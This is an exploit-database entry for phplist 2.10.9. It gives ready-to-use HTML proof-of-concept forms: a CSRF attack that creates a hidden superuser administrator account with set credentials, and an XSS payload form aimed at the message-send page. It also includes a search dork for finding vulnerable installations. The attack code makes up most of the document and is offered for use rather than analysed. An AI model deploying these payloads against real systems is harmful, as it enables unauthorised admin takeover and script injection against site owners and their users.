phplist 2.10.9 - CSRF/XSS Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType
phplist version 2.10.9 CSRF/XSS Vulnerability, Cyber-Crysta

                                                +-------------------------------------------------------------------------+
# Exploit Title : phplist - version 2.10.9 CSRF/XSS Vulnerability
# version       : 2.10.9                                                                                                                           
# Author        : Cyber-Crystal                                              
# Date          : n/a   
# Dork          : inurl:&#34;powered by phplist - version 2.10.9&#34;
# Software Link : http://www.phplist.com/                                                                                  
+-------------------------------------------------------------------------+

+---+[CSRF Add Admin Acuonnt by Cyber-Crystal]+---+
&#60;html&#62;
&#60;title&#62;[#] Exploit [#]&#60;/title&#62;
&#60;body&#62;
&#60;form method=&#34;POST&#34; name=&#34;form2&#34; action=&#34;http://localhost/lists/admin/?page=admin&start=&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;id&#34; value=&#34;0&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;loginname&#34; value=&#34;root&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;email&#34; value=&#34;[email protected]&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;password&#34; value=&#34;toor&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;superuser&#34; value=&#34;1&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;disabled&#34; value=&#34;&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;cbattribute[]&#34; value=&#34;1&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;attribute[1]&#34; value=&#34;Checked&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;change&#34; value=&#34;Save Changes&#34;/&#62;

&#60;input type=&#34;submit&#34; value=&#34;exploit&#34; /&#62;
&#60;/form&#62;
&#60;/body&#62;
&#60;/html&#62;

+---+[XSS Send post ]+---+
&#60;html&#62;
&#60;title&#62;[#] Exploit [#]&#60;/title&#62;
&#60;body&#62;
&#60;form method=post action=&#34;http://localhost/lists/admin/?page=send&id=1&tab=Format&#34; name=&#34;sendmessageform&#34;&#62;
&#60;input type=hidden name=&#34;workaround_fck_bug&#34; value=&#34;1&#34;&#62;
&#60;input type=hidden name=&#34;htmlformatted&#34; value=&#34;auto&#34;&#62;
&#60;input type=submit name=sendtest value=&#34;Exploit&#34;&#62;
&#60;input type=text name=&#34;testtarget&#34; size=40 value=&#39;[XSS HERE]&#39;&#62;
&#60;input type=hidden name=id value=7&#62;
&#60;input type=hidden name=status value=&#34;draft&#34;&#62;
&#60;input type=hidden name=expand value=&#34;0&#34;&#62;
&#60;/form&#62;
&#60;/body&#62;
&#60;/html&#62;

#-----------------------------------#
|  by Cyber-Crystal 			    |
|  								    |
|  Mail : [email protected]   |
|  Home // www.v4-team.com/cc		|
|     						        |
#-----------------------------------#
Greetz 2 : Secure-x41 | Fox Hacker | Or4nG.M4n | SadHacker | Mr.Black | Red Virus | aBu.HaLiL501 | T7 | Sniper_IRaq || # All Man 0_0



# the End
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1